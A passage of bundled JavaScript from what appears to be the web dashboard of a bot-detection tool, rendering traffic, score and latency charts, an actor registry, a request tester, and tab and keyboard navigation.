drawTraffic() {\\n const host = $(\\\"traffic-chart\\\");\\n const svg = $(\\\"traffic\\\");\\n const width = Math.max(320, host.clientWidth - 30);\\n const height = 190;\\n const padBottom = 26;\\n const markerRow = 8;\\n const plot = height - padBottom - markerRow;\\n const buckets = timeline();\\n const now = Date.now();\\n const start2 = now - state.rangeMs;\\n let peak = 1;\\n for (const bucket of buckets) if (bucket.total > peak) peak = bucket.total;\\n const max = Math.max(2, Math.ceil(peak / 2) * 2);\\n clear(svg);\\n svg.setAttribute(\\\"viewBox\\\", `0 0 ${width} ${height}`);\\n svg.setAttribute(\\\"height\\\", String(height));\\n const s1 = css(\\\"--s1\\\");\\n const s2 = css(\\\"--s2\\\");\\n const crit = css(\\\"--crit\\\");\\n const grid = css(\\\"--grid\\\");\\n const muted = css(\\\"--muted\\\");\\n const step = width / BUCKETS;\\n const barWidth = Math.max(2, step - 2);\\n for (const fraction of [0, 0.5, 1]) {\\n const y = markerRow + plot - fraction * plot;\\n svg.appendChild(svgEl(\\\"line\\\", { x1: 0, x2: width, y1: y, y2: y, stroke: grid, \\\"stroke-width\\\": 1 }));\\n if (fraction > 0) svg.appendChild(svgText({ x: 2, y: y - 3, fill: muted, \\\"font-size\\\": 10 }, Math.round(max * fraction)));\\n }\\n buckets.forEach((bucket, index) => {\\n const x = index * step + 1;\\n const servedHeight = bucket.served / max * plot;\\n const mitigatedHeight = bucket.mitigated / max * plot;\\n let y = markerRow + plot;\\n if (servedHeight > 0) {\\n y -= servedHeight;\\n svg.appendChild(svgEl(\\\"rect\\\", { x, y, width: barWidth, height: servedHeight, fill: s1, rx: 2 }));\\n }\\n if (mitigatedHeight > 0) {\\n y -= mitigatedHeight + (servedHeight > 0 ? 2 : 0);\\n svg.appendChild(svgEl(\\\"rect\\\", { x, y: Math.max(markerRow, y), width: barWidth, height: mitigatedHeight, fill: s2, rx: 2 }));\\n }\\n if (bucket.denied > 0) svg.appendChild(svgEl(\\\"rect\\\", { x, y: 0, width: barWidth, height: 5, fill: crit, rx: 2 }));\\n });\\n svg.appendChild(svgEl(\\\"line\\\", { x1: 0, x2: width, y1: markerRow + plot, y2: markerRow + plot, stroke: css(\\\"--line\\\"), \\\"stroke-width\\\": 1 }));\\n const span = rangeLabel(state.rangeMs);\\n const labels = [\\n [0, `${span} ago`],\\n [BUCKETS / 2, rangeLabel(state.rangeMs / 2)],\\n [BUCKETS - 1, \\\"now\\\"]\\n ];\\n for (const [position, text] of labels) {\\n svg.appendChild(svgText({ x: Math.min(width - 26, Math.max(0, position * step)), y: height - 8, fill: muted, \\\"font-size\\\": 10 }, text));\\n }\\n const changes = (state.snapshot?.changes ?? []).filter((change) => change.at >= start2 && change.at <= now);\\n const markColour = css(\\\"--proven-text\\\");\\n for (const change of changes) {\\n const x = (change.at - start2) / state.rangeMs * width;\\n svg.appendChild(svgEl(\\\"line\\\", { x1: x, x2: x, y1: 0, y2: markerRow + plot, stroke: markColour, \\\"stroke-width\\\": 1.5, \\\"stroke-dasharray\\\": \\\"3 2\\\", opacity: 0.85 }));\\n const dot = svgEl(\\\"circle\\\", { cx: x, cy: 3, r: 3, fill: markColour });\\n const title = svgEl(\\\"title\\\");\\n title.textContent = `${new Date(change.at).toLocaleTimeString()} · ${change.kind}: ${change.summary}${change.by === void 0 ? \\\"\\\" : ` (by ${change.by})`}`;\\n dot.appendChild(title);\\n svg.appendChild(dot);\\n }\\n const hover = svgEl(\\\"rect\\\", { x: 0, y: 0, width: 0, height: markerRow + plot, fill: css(\\\"--ink\\\"), opacity: 0.06 });\\n svg.appendChild(hover);\\n const tip = $(\\\"traffic-tip\\\");\\n host.onmousemove = (event) => {\\n const box = svg.getBoundingClientRect();\\n const index = Math.floor((event.clientX - box.left) / box.width * BUCKETS);\\n const bucket = buckets[index];\\n if (bucket === void 0) {\\n tip.style.opacity = \\\"0\\\";\\n hover.setAttribute(\\\"width\\\", \\\"0\\\");\\n return;\\n }\\n hover.setAttribute(\\\"x\\\", String(index * step));\\n hover.setAttribute(\\\"width\\\", String(step));\\n clear(tip);\\n tip.appendChild(el(\\\"div\\\", \\\"t\\\", `${new Date(bucket.at).toLocaleTimeString()} · ${Math.round(state.rangeMs / BUCKETS / 1e3)}s`));\\n tip.appendChild(tipRow(\\\"Served\\\", n(bucket.served), s1));\\n tip.appendChild(tipRow(\\\"Mitigated\\\", n(bucket.mitigated), s2));\\n tip.appendChild(tipRow(\\\"Denied\\\", n(bucket.denied), crit));\\n positionTip(tip, host, event.clientX, box.left);\\n };\\n host.onmouseleave = () => {\\n tip.style.opacity = \\\"0\\\";\\n hover.setAttribute(\\\"width\\\", \\\"0\\\");\\n };\\n const total = buckets.reduce((sum, bucket) => sum + bucket.total, 0);\\n $(\\\"traffic-window\\\").textContent = `last ${rangeLabel(state.rangeMs)}`;\\n const served = buckets.reduce((sum, bucket) => sum + bucket.served, 0);\\n const mitigated = buckets.reduce((sum, bucket) => sum + bucket.mitigated, 0);\\n const denied = buckets.reduce((sum, bucket) => sum + bucket.denied, 0);\\n const busiest = buckets.reduce((best, bucket) => bucket.total > best.total ? bucket : best, buckets[0] ?? { at: now, total: 0, served: 0, mitigated: 0, denied: 0 });\\n $(\\\"traffic-alt\\\").textContent = `Traffic over the last ${rangeLabel(state.rangeMs)}: ${n(total)} requests — ${n(served)} served, ${n(mitigated)} mitigated, ${n(denied)} denied. ` + (total === 0 ? \\\"No traffic in this range.\\\" : `Busiest ${Math.round(state.rangeMs / BUCKETS / 1e3)}-second interval: ${n(busiest.total)} requests at ${new Date(busiest.at).toLocaleTimeString()}.`) + (changes.length === 0 ? \\\"\\\" : ` ${n(changes.length)} runtime change${changes.length === 1 ? \\\"\\\" : \\\"s\\\"} in this range: ${changes.map((change) => `${change.kind}, ${change.summary}`).join(\\\"; \\\")}.`);\\n const legend = $(\\\"traffic-legend\\\");\\n clear(legend);\\n legend.appendChild(el(\\\"span\\\", null, `${n(total)} requests in the last ${rangeLabel(state.rangeMs)} ·`));\\n const oldest = oldestAt();\\n if (oldest !== void 0 && Date.now() - oldest < state.rangeMs * 0.9) {\\n legend.appendChild(el(\\\"span\\\", null, `window holds ${rangeLabel(Date.now() - oldest)} ·`));\\n }\\n for (const [label2, colour] of [\\n [\\\"Served\\\", s1],\\n [\\\"Mitigated — challenged, limited or delayed\\\", s2],\\n [\\\"Denied\\\", crit]\\n ]) {\\n const item = el(\\\"span\\\");\\n const swatch = el(\\\"span\\\", \\\"swatch\\\");\\n swatch.style.background = colour;\\n item.appendChild(swatch);\\n item.appendChild(document.createTextNode(label2));\\n legend.appendChild(item);\\n }\\n if (changes.length > 0) {\\n const item = el(\\\"span\\\");\\n item.appendChild(el(\\\"span\\\", \\\"mark\\\"));\\n item.appendChild(document.createTextNode(`${n(changes.length)} runtime change${changes.length === 1 ? \\\"\\\" : \\\"s\\\"} — hover a marker`));\\n legend.appendChild(item);\\n }\\n }\\n function differences(cumulative) {\\n const counts = [];\\n for (let i = 0; i < cumulative.length; i++) counts.push((cumulative[i] ?? 0) - (i > 0 ? cumulative[i - 1] ?? 0 : 0));\\n return counts;\\n }\\n function drawScores() {\\n const host = $(\\\"score-chart\\\");\\n const svg = $(\\\"scores\\\");\\n clear(svg);\\n const metrics = state.snapshot?.metrics;\\n const fromRun = state.scoreScope === \\\"run\\\" && metrics !== void 0;\\n let buckets;\\n let scored;\\n let proven;\\n if (fromRun && metrics !== void 0) {\\n buckets = differences(metrics.scores.buckets);\\n scored = metrics.scores.count;\\n proven = metrics.proven;\\n } else {\\n buckets = new Array(SCORE_BOUNDS).fill(0);\\n scored = 0;\\n proven = 0;\\n for (const { entry } of state.rows) {\\n if (entry.bypass !== void 0) continue;\\n if (entry.certain) {\\n proven++;\\n continue;\\n }\\n const index = Math.min(SCORE_BOUNDS - 1, Math.floor(entry.score / 10));\\n buckets[index] = (buckets[index] ?? 0) + 1;\\n scored++;\\n }\\n }\\n const width = Math.max(280, host.clientWidth - 30);\\n const height = 190;\\n const padBottom = 30;\\n const plot = height - padBottom;\\n let max = 1;\\n for (const value of buckets) if (value > max) max = value;\\n svg.setAttribute(\\\"viewBox\\\", `0 0 ${width} ${height}`);\\n svg.setAttribute(\\\"height\\\", String(height));\\n const fill = css(\\\"--s1\\\");\\n const muted = css(\\\"--muted\\\");\\n const grid = css(\\\"--grid\\\");\\n const crit = css(\\\"--crit\\\");\\n svg.appendChild(svgEl(\\\"line\\\", { x1: 0, x2: width, y1: plot, y2: plot, stroke: grid, \\\"stroke-width\\\": 1 }));\\n const step = width / SCORE_BOUNDS;\\n buckets.forEach((value, index) => {\\n const barHeight = value / max * (plot - 8);\\n const barWidth = Math.max(2, Math.min(step - 6, 56));\\n if (barHeight > 0) {\\n svg.appendChild(svgEl(\\\"rect\\\", { x: index * step + (step - barWidth) / 2, y: plot - barHeight, width: barWidth, height: barHeight, fill, rx: 3 }));\\n }\\n svg.appendChild(svgText({ x: index * step + 1, y: height - 14, fill: muted, \\\"font-size\\\": 9.5 }, index * 10));\\n });\\n const threshold = state.snapshot?.policy.suspectThreshold ?? 60;\\n const x = threshold / 100 * width;\\n svg.appendChild(svgEl(\\\"line\\\", { x1: x, x2: x, y1: 0, y2: plot, stroke: crit, \\\"stroke-width\\\": 2, \\\"stroke-dasharray\\\": \\\"4 3\\\" }));\\n svg.appendChild(svgText({ x: Math.min(width - 92, x + 5), y: 11, fill: crit, \\\"font-size\\\": 10 }, `suspect at ${threshold}`));\\n svg.appendChild(svgText({ x: 0, y: height - 2, fill: muted, \\\"font-size\\\": 10 }, \\\"score (probabilistic requests only)\\\"));\\n const tip = $(\\\"score-tip\\\");\\n host.onmousemove = (event) => {\\n const box = svg.getBoundingClientRect();\\n const index = Math.floor((event.clientX - box.left) / box.width * SCORE_BOUNDS);\\n const value = buckets[index];\\n if (value === void 0) {\\n tip.style.opacity = \\\"0\\\";\\n return;\\n }\\n clear(tip);\\n tip.appendChild(el(\\\"div\\\", \\\"t\\\", `score ${index * 10}–${index * 10 + 9}`));\\n tip.appendChild(tipRow(\\\"requests\\\", n(value)));\\n tip.appendChild(tipRow(\\\"share\\\", pct(value, scored)));\\n positionTip(tip, host, event.clientX, box.left);\\n };\\n host.onmouseleave = () => {\\n tip.style.opacity = \\\"0\\\";\\n };\\n let over = 0;\\n for (let bucket = 0; bucket < SCORE_BOUNDS; bucket++) if (bucket * 10 >= threshold) over += buckets[bucket] ?? 0;\\n const legend = $(\\\"score-legend\\\");\\n clear(legend);\\n legend.appendChild(el(\\\"span\\\", null, `${n(scored)} scored · ${n(over)} at or over the threshold · ${n(proven)} proven, which carry no score`));\\n $(\\\"score-alt\\\").textContent = `Distribution of probabilistic scores ${fromRun ? \\\"since start\\\" : \\\"in the retained window\\\"}, with the suspect threshold at ${threshold}. ${n(scored)} scored requests, ${n(over)} at or over the threshold, ${n(proven)} proven and therefore unscored. ` + (scored === 0 ? \\\"Nothing scored yet.\\\" : `By ten-point band: ${buckets.map((value, index) => `${index * 10}–${index * 10 + 9}: ${n(value)}`).join(\\\", \\\")}.`);\\n $(\\\"score-window\\\").textContent = fromRun ? \\\"since start\\\" : windowLabel(state.rows.length, oldestAt(), Date.now());\\n if (state.scoreScope === \\\"run\\\" && metrics === void 0) {\\n legend.appendChild(el(\\\"span\\\", null, \\\"· counters are off on this handler, so this is the retained window\\\"));\\n }\\n }\\n function drawLatency() {\\n const host = $(\\\"latency-chart\\\");\\n const svg = $(\\\"latency\\\");\\n clear(svg);\\n const metrics = state.snapshot?.metrics;\\n if (metrics === void 0 || metrics.duration.count === 0) {\\n $(\\\"latency-summary\\\").textContent = \\\"No assessments yet.\\\";\\n $(\\\"latency-alt\\\").textContent = \\\"Assessment latency: no assessments yet.\\\";\\n svg.setAttribute(\\\"viewBox\\\", \\\"0 0 100 40\\\");\\n svg.setAttribute(\\\"height\\\", \\\"40\\\");\\n svg.appendChild(svgText({ x: 0, y: 20, fill: css(\\\"--muted\\\"), \\\"font-size\\\": 11 }, \\\"No assessments yet.\\\"));\\n return;\\n }\\n const cumulative = metrics.duration.buckets;\\n const counts = differences(cumulative);\\n const width = Math.max(280, host.clientWidth - 30);\\n const height = 190;\\n const padBottom = 30;\\n const plot = height - padBottom;\\n let max = 1;\\n for (const value of counts) if (value > max) max = value;\\n svg.setAttribute(\\\"viewBox\\\", `0 0 ${width} ${height}`);\\n svg.setAttribute(\\\"height\\\", String(height));\\n const fill = css(\\\"--s1\\\");\\n const muted = css(\\\"--muted\\\");\\n const grid = css(\\\"--grid\\\");\\n svg.appendChild(svgEl(\\\"line\\\", { x1: 0, x2: width, y1: plot, y2: plot, stroke: grid, \\\"stroke-width\\\": 1 }));\\n const step = width / counts.length;\\n counts.forEach((value, index) => {\\n const barHeight = value / max * (plot - 6);\\n if (barHeight > 0) {\\n svg.appendChild(svgEl(\\\"rect\\\", { x: index * step + 1, y: plot - barHeight, width: Math.max(2, step - 3), height: barHeight, fill, rx: 3 }));\\n }\\n if (index % 2 === 0) {\\n svg.appendChild(svgText({ x: index * step + 1, y: height - 14, fill: muted, \\\"font-size\\\": 9.5 }, index < LATENCY_BOUNDS.length ? String(LATENCY_BOUNDS[index]) : \\\"more\\\"));\\n }\\n });\\n svg.appendChild(svgText({ x: 0, y: height - 2, fill: muted, \\\"font-size\\\": 10 }, \\\"milliseconds (upper bound of each bucket)\\\"));\\n const tip = $(\\\"latency-tip\\\");\\n host.onmousemove = (event) => {\\n const box = svg.getBoundingClientRect();\\n const index = Math.floor((event.clientX - box.left) / box.width * counts.length);\\n const value = counts[index];\\n if (value === void 0) {\\n tip.style.opacity = \\\"0\\\";\\n return;\\n }\\n clear(tip);\\n tip.appendChild(el(\\\"div\\\", \\\"t\\\", index < LATENCY_BOUNDS.length ? `≤ ${LATENCY_BOUNDS[index]}ms` : \\\"over 100ms\\\"));\\n tip.appendChild(tipRow(\\\"requests\\\", n(value)));\\n tip.appendChild(tipRow(\\\"share\\\", pct(value, metrics.duration.count)));\\n positionTip(tip, host, event.clientX, box.left);\\n };\\n host.onmouseleave = () => {\\n tip.style.opacity = \\\"0\\\";\\n };\\n const mean = metrics.duration.totalMs / metrics.duration.count;\\n const p95 = percentile(cumulative, metrics.duration.count, 0.95);\\n $(\\\"latency-summary\\\").textContent = `Time spent in detection, per request · mean ${ms(mean)} · p95 ${ms(p95)} · max ${ms(metrics.duration.maxMs)}`;\\n $(\\\"latency-alt\\\").textContent = `Assessment latency since start over ${n(metrics.duration.count)} requests: mean ${ms(mean)}, 95th percentile ${ms(p95)}, maximum ${ms(metrics.duration.maxMs)}. By bucket: ${counts.map((value, index) => `${index < LATENCY_BOUNDS.length ? `up to ${LATENCY_BOUNDS[index]}ms` : \\\"over 100ms\\\"}: ${n(value)}`).join(\\\", \\\")}.`;\\n }\\n function percentile(cumulative, count, fraction) {\\n const target = count * fraction;\\n const last = LATENCY_BOUNDS[LATENCY_BOUNDS.length - 1] ?? 100;\\n for (let i = 0; i < cumulative.length; i++) {\\n if ((cumulative[i] ?? 0) >= target) return i < LATENCY_BOUNDS.length ? LATENCY_BOUNDS[i] ?? last : last;\\n }\\n return last;\\n }\\n\\n // src/dashboard/client/registry.ts\\n var timer;\\n async function loadActors() {\\n if (!SECTIONS.registry) return;\\n try {\\n const body = await getJson(\\\"/api/actors?limit=100\\\");\\n state.actors = body.actors;\\n state.actorsTracked = body.tracked;\\n drawActors();\\n } catch {\\n }\\n }\\n function trackActors() {\\n if (timer !== void 0) clearInterval(timer);\\n timer = void 0;\\n if (state.tab !== \\\"actors\\\") return;\\n void loadActors();\\n timer = setInterval(() => {\\n if (state.tab !== \\\"actors\\\" || state.paused || isConfirming()) return;\\n void loadActors();\\n }, 4e3);\\n }\\n function drawActors() {\\n if (!SECTIONS.registry) return;\\n if (isConfirming()) return;\\n const body = byId(\\\"actor-rows\\\");\\n clear(body);\\n const actors = state.actors;\\n $(\\\"actors-count\\\").textContent = `${n(actors.length)} shown · ${n(state.actorsTracked)} tracked`;\\n byId(\\\"actors-empty\\\").hidden = actors.length > 0;\\n for (const actor of actors) {\\n const row = el(\\\"tr\\\");\\n row.appendChild(el(\\\"td\\\", \\\"who\\\", actor.key));\\n row.appendChild(el(\\\"td\\\", \\\"num tnum\\\", n(actor.requests)));\\n row.appendChild(el(\\\"td\\\", \\\"num tnum\\\", n(actor.recentRate)));\\n row.appendChild(el(\\\"td\\\", \\\"num tnum\\\", n(actor.distinctPaths)));\\n const cadence = el(\\\"td\\\", \\\"num tnum\\\", actor.cadenceCv === void 0 ? \\\"—\\\" : actor.cadenceCv.toFixed(2));\\n if (actor.cadenceCv !== void 0 && actor.cadenceCv < 0.15) cadence.className += \\\" warn-text\\\";\\n row.appendChild(cadence);\\n row.appendChild(el(\\\"td\\\", \\\"num tnum\\\", n(actor.priorConfirmations)));\\n const unsolved = el(\\\"td\\\", \\\"num tnum\\\", n(actor.unsolvedChallenges));\\n if (actor.unsolvedChallenges >= 3) unsolved.className += \\\" warn-text\\\";\\n row.appendChild(unsolved);\\n const stateCell = el(\\\"td\\\");\\n const tags = [];\\n if (actor.cleared) tags.push(\\\"cleared as human\\\");\\n if (actor.distinctUserAgents > 1) tags.push(`${actor.distinctUserAgents} User-Agents`);\\n tags.push(`first seen ${clockTime(actor.firstSeen)}`);\\n stateCell.appendChild(el(\\\"div\\\", \\\"tagline\\\", tags.join(\\\" · \\\")));\\n row.appendChild(stateCell);\\n const actions = el(\\\"td\\\", \\\"acts\\\");\\n const inFeed = el(\\\"button\\\", null, \\\"In feed\\\");\\n inFeed.title = \\\"Show this actor's requests in the live feed\\\";\\n inFeed.addEventListener(\\\"click\\\", () => {\\n setSearch(`actor:${actor.key}`);\\n const search = byId(\\\"search\\\");\\n search.value = state.search;\\n app.showTab(\\\"live\\\");\\n app.syncUrl();\\n });\\n actions.appendChild(inFeed);\\n for (const button of actorActions(actor.key, () => void loadActors())) actions.appendChild(button);\\n row.appendChild(actions);\\n body.appendChild(row);\\n }\\n }\\n\\n // src/dashboard/client/tester.ts\\n function initTester() {\\n if (!SECTIONS.tester) return;\\n $(\\\"test-run\\\").addEventListener(\\\"click\\\", () => void run());\\n byId(\\\"test-input\\\").addEventListener(\\\"keydown\\\", (event) => {\\n if (event.key === \\\"Enter\\\" && (event.metaKey || event.ctrlKey)) {\\n event.preventDefault();\\n void run();\\n }\\n });\\n }\\n async function run() {\\n const raw2 = byId(\\\"test-input\\\").value;\\n if (raw2.trim() === \\\"\\\") {\\n toast(\\\"warn\\\", \\\"Nothing to assess\\\", \\\"Paste a User-Agent, a curl command, or a header block.\\\");\\n return;\\n }\\n const result = await postJson(\\\"/api/test\\\", {\\n raw: raw2,\\n ip: byId(\\\"test-ip\\\").value.trim(),\\n url: byId(\\\"test-url\\\").value.trim()\\n });\\n const box = $(\\\"test-result\\\");\\n box.hidden = false;\\n clear(box);\\n if (!result.ok) {\\n box.className = \\\"result bad\\\";\\n box.appendChild(el(\\\"div\\\", null, result.error ?? \\\"The server could not read that.\\\"));\\n return;\\n }\\n const { entry, reason, assumed } = result.data;\\n const out = outcome(entry);\\n box.className = `result ${out === \\\"deny\\\" ? \\\"bad\\\" : out === \\\"mitigate\\\" ? \\\"warn\\\" : \\\"ok\\\"}`;\\n const head = el(\\\"div\\\");\\n const [badgeClass, badgeLabel] = verdictBadge(entry);\\n head.appendChild(el(\\\"span\\\", `badge ${badgeClass}`, badgeLabel));\\n head.appendChild(document.createTextNode(\\\" \\\"));\\n head.appendChild(el(\\\"b\\\", null, entry.action ?? \\\"no decision\\\"));\\n if (entry.rule !== void 0) head.appendChild(el(\\\"span\\\", \\\"ev-meta\\\", ` via ${entry.rule}`));\\n box.appendChild(head);\\n box.appendChild(el(\\\"div\\\", \\\"ev-meta\\\", `${entry.certain ? \\\"proven\\\" : `score ${entry.score}`} · assessed in ${ms(entry.durationMs)}`));\\n if (entry.downgradedFrom !== void 0) {\\n box.appendChild(el(\\\"div\\\", \\\"guard\\\", `The guard stopped ${entry.downgradedFrom} here.`));\\n if (entry.downgradeReason !== void 0) box.appendChild(el(\\\"div\\\", \\\"basis\\\", entry.downgradeReason));\\n }\\n if (entry.evidence.length === 0) {\\n box.appendChild(el(\\\"div\\\", \\\"ev-meta\\\", entry.bypass !== void 0 ? `Detection was skipped: ${entry.bypass}.` : \\\"No detector produced any evidence.\\\"));\\n } else {\\n const list = el(\\\"div\\\", \\\"ev\\\");\\n for (const item of entry.evidence) {\\n const row = el(\\\"div\\\", `ev-item${item.direction === \\\"human\\\" ? \\\" human\\\" : \\\"\\\"}`);\\n row.appendChild(el(\\\"div\\\", `tier t-${item.certainty}`, item.certainty));\\n const detail = el(\\\"div\\\");\\n detail.appendChild(el(\\\"div\\\", null, item.summary));\\n detail.appendChild(el(\\\"div\\\", \\\"ev-meta\\\", `${item.detector} · points to ${item.direction}`));\\n if (item.deterministicBasis !== void 0) detail.appendChild(el(\\\"div\\\", \\\"basis\\\", item.deterministicBasis));\\n row.appendChild(detail);\\n list.appendChild(row);\\n }\\n box.appendChild(list);\\n }\\n box.appendChild(el(\\\"div\\\", \\\"ev-meta\\\", reason));\\n const notes = [...assumed, \\\"no history: this is assessed as a first request, so cadence and crawl breadth have nothing to read\\\"];\\n box.appendChild(el(\\\"div\\\", \\\"assumed\\\", `Assumed — ${notes.join(\\\"; \\\")}.`));\\n }\\n\\n // src/dashboard/client/index.ts\\n var TABS = [\\n [\\\"tab-live\\\", \\\"live\\\", SECTIONS.feed],\\n [\\\"tab-actors\\\", \\\"actors\\\", SECTIONS.registry],\\n [\\\"tab-stats\\\", \\\"stats\\\", SECTIONS.statistics],\\n [\\\"tab-policy\\\", \\\"policy\\\", SECTIONS.policy]\\n ];\\n var available = TABS.filter(([, , enabled]) => enabled);\\n var FIRST = available[0]?.[1] ?? \\\"live\\\";\\n function tabIndexOf(name) {\\n const at = available.findIndex(([, tab]) => tab === name);\\n return at === -1 ? 0 : at;\\n }\\n function isTab(value) {\\n return available.some(([, name]) => name === value);\\n }\\n function initHeader() {\\n const box = $(\\\"links\\\");\\n for (const link of BOOT.links) {\\n const anchor = el(\\\"a\\\", \\\"linkbtn\\\", link.label);\\n anchor.href = link.href;\\n anchor.rel = \\\"noreferrer noopener\\\";\\n box.appendChild(anchor);\\n }\\n let stored = null;\\n try {\\n stored = localStorage.getItem(\\\"bothandler-dashboard-theme\\\");\\n } catch {\\n stored = null;\\n }\\n if (stored === \\\"dark\\\" || stored === \\\"light\\\") document.documentElement.setAttribute(\\\"data-theme\\\", stored);\\n $(\\\"theme\\\").addEventListener(\\\"click\\\", () => {\\n let current = document.documentElement.getAttribute(\\\"data-theme\\\");\\n if (current === null) current = matchMedia(\\\"(prefers-color-scheme: dark)\\\").matches ? \\\"dark\\\" : \\\"light\\\";\\n const next = current === \\\"dark\\\" ? \\\"light\\\" : \\\"dark\\\";\\n document.documentElement.setAttribute(\\\"data-theme\\\", next);\\n try {\\n localStorage.setItem(\\\"bothandler-dashboard-theme\\\", next);\\n } catch {\\n }\\n drawNow();\\n });\\n const pause = byId(\\\"pause\\\");\\n pause.hidden = !SECTIONS.feed;\\n pause.addEventListener(\\\"click\\\", () => {\\n state.paused = !state.paused;\\n pause.setAttribute(\\\"aria-pressed\\\", String(state.paused));\\n pause.textContent = state.paused ? `Resume${state.bufferedWhilePaused > 0 ? ` (${state.bufferedWhilePaused})` : \\\"\\\"}` : \\\"Pause\\\";\\n if (!state.paused) {\\n state.bufferedWhilePaused = 0;\\n drawNow();\\n }\\n });\\n if (BOOT.allowReset) {\\n const reset = byId(\\\"reset\\\");\\n reset.hidden = false;\\n reset.addEventListener(\\\"click\\\", () => {\\n reset.disabled = true;\\n void fetch(`${API}/api/reset`, { method: \\\"POST\\\", headers: { \\\"content-type\\\": \\\"application/json\\\" }, body: \\\"{}\\\" }).then(async (response) => {\\n if (!response.ok) {\\n const body = await response.json().catch(() => ({}));\\n toast(\\\"bad\\\", \\\"Reset refused\\\", body.error ?? String(response.status));\\n return;\\n }\\n clearFeed();\\n resetFeedCache();\\n drawNow();\\n }).catch(() => {\\n }).finally(() => {\\n reset.disabled = false;\\n });\\n });\\n }\\n const header = document.querySelector(\\\"header\\\");\\n if (header !== null) {\\n const apply = () => {\\n document.documentElement.style.setProperty(\\\"--header-h\\\", `${header.getBoundingClientRect().height}px`);\\n };\\n apply();\\n if (typeof ResizeObserver === \\\"function\\\") new ResizeObserver(apply).observe(header);\\n else addEventListener(\\\"resize\\\", apply);\\n }\\n }\\n function syncUrl(replace = true) {\\n const params = new URLSearchParams();\\n if (state.filter !== \\\"all\\\") params.set(\\\"f\\\", state.filter);\\n if (state.search !== \\\"\\\") params.set(\\\"q\\\", state.search);\\n const query = params.toString();\\n const hash = `#${state.tab}${query === \\\"\\\" ? \\\"\\\" : `?${query}`}`;\\n if (location.hash === hash) return;\\n history[replace ? \\\"replaceState\\\" : \\\"pushState\\\"]({ tab: state.tab }, \\\"\\\", hash);\\n }\\n function readUrl() {\\n const raw2 = location.hash.slice(1);\\n const split = raw2.indexOf(\\\"?\\\");\\n const name = split === -1 ? raw2 : raw2.slice(0, split);\\n const params = new URLSearchParams(split === -1 ? \\\"\\\" : raw2.slice(split + 1));\\n const filter = params.get(\\\"f\\\") ?? \\\"all\\\";\\n return {\\n tab: isTab(name) ? name : FIRST,\\n filter,\\n search: params.get(\\\"q\\\") ?? \\\"\\\"\\n };\\n }\\n function showTab(name, options = {}) {\\n const target = isTab(name) ? name : FIRST;\\n state.tab = target;\\n for (const [id, tab, enabled] of TABS) {\\n const selected = tab === target;\\n const node = $(id);\\n node.hidden = !enabled;\\n node.setAttribute(\\\"aria-selected\\\", String(selected));\\n node.tabIndex = selected ? 0 : -1;\\n $(`view-${tab}`).hidden = !selected || !enabled;\\n }\\n if (options.focus === true) $(available[tabIndexOf(target)]?.[0] ?? \\\"tab-live\\\").focus();\\n if (target === \\\"policy\\\" && state.policy === void 0) {\\n void loadPolicy();\\n void loadRanges();\\n }\\n trackActors();\\n if (options.push !== false) syncUrl(options.replace !== false);\\n drawNow();\\n }\\n function initTabs() {\\n available.forEach(([id, name], index) => {\\n const tab = $(id);\\n tab.addEventListener(\\\"click\\\", () => showTab(name, { replace: false }));\\n tab.addEventListener(\\\"keydown\\\", (event) => {\\n let next = -1;\\n if (event.key === \\\"ArrowRight\\\") next = (index + 1) % available.length;\\n else if (event.key === \\\"ArrowLeft\\\") next = (index - 1 + available.length) % available.length;\\n else if (event.key === \\\"Home\\\") next = 0;\\n else if (event.key === \\\"End\\\") next = available.length - 1;\\n if (next === -1) return;\\n event.preventDefault();\\n showTab(available[next]?.[1] ?? FIRST, { focus: true, replace: false });\\n });\\n });\\n addEventListener(\\\"popstate\\\", () => {\\n const url = readUrl();\\n state.filter = url.filter;\\n setSearch(url.search);\\n reflectFilterButtons();\\n showTab(url.tab, { push: false });\\n });\\n }\\n function initKeyboard() {\\n addEventListener(\\\"keydown\\\", (event) => {\\n const target = event.target;\\n const typing = target !== null && (target.tagName === \\\"INPUT\\\" || target.tagName === \\\"TEXTAREA\\\" || target.tagName === \\\"SELECT\\\");\\n if (event.key === \\\"Escape\\\") {\\n if (typing && target?.id === \\\"search\\\" && target.value !== \\\"\\\") {\\n target.value = \\\"\\\";\\n setSearch(\\\"\\\");\\n syncUrl();\\n drawNow();\\n return;\\n }\\n if (typing) {\\n target?.blur();\\n return;\\n }\\n if (state.actor !== void 0) {\\n state.actor = void 0;\\n drawNow();\\n return;\\n }\\n if (state.open.size > 0) {\\n state.open.clear();\\n drawNow();\\n }\\n return;\\n }\\n if (typing || event.metaKey || event.ctrlKey || event.altKey) return;\\n if (event.key === \\\"/\\\" && SECTIONS.feed) {\\n event.preventDefault();\\n showTab(\\\"live\\\");\\n const search = byId(\\\"search\\\");\\n search.focus();\\n search.select();\\n return;\\n }\\n const digit = [\\\"1\\\", \\\"2\\\", \\\"3\\\", \\\"4\\\"].indexOf(event.key);\\n if (digit !== -1 && digit < available.length) {\\n event.preventDefault();\\n showTab(available[digit]?.[1] ?? FIRST, { focus: true, replace: false });\\n }\\n });\\n }\\n function initRanges() {\\n const ranges = [\\n [\\\"1m\\\", 6e4],\\n [\\\"5m\\\", 3e5],\\n [\\\"15m\\\", 9e5],\\n [\\\"1h\\\", 36e5]\\n ];\\n const host = $(\\\"traffic-range\\\");\\n for (const [label2, value] of ranges) {\\n const button = el(\\\"button\\\", null, label2);\\n button.setAttribute(\\\"aria-pressed\\\", String(value === state.rangeMs));\\n button.addEventListener(\\\"click\\\", () => {\\n state.rangeMs = value;\\n for (const other of Array.from(host.children)) other.setAttribute(\\\"aria-pressed\\\", \\\"false\\\");\\n button.setAttribute(\\\"aria-pressed\\\", \\\"true\\\");\\n drawTraffic();\\n });\\n host.appendChild(button);\\n }\\n const scopes = [\\n [\\\"since start\\\", \\\"run\\\"],\\n [\\\"this window\\\", \\\"window\\\"]\\n ];\\n const scopeHost = $(\\\"score-scope\\\");\\n for (const [label2, value] of scopes) {\\n const button = el(\\\"button\\\", null, label2);\\n button.setAttribute(\\\"aria-pressed\\\", String(value === state.scoreScope));\\n button.addEventListener(\\\"click\\\", () => {\\n state.scoreScope = value;\\n for (const other of Array.from(scopeHost.children)) other.setAttribute(\\\"aria-pressed\\\", \\\"false\\\");\\n button.setAttribute(\\\"aria-pressed\\\", \\\"true\\\");\\n drawScores();\\n });\\n scopeHost.appendChild(button);\\n }\\n }\\n var pending = false;\\n function schedule() {\\n if (state.paused || pending) return;\\n pending = true;\\n requestAnimationFrame(() => {\\n pending = false;\\n draw();\\n });\\n }\\n function draw() {\\n drawChips();\\n drawTiles();\\n drawNoticeBadge();\\n updateWindowLabels();\\n if (state.tab === 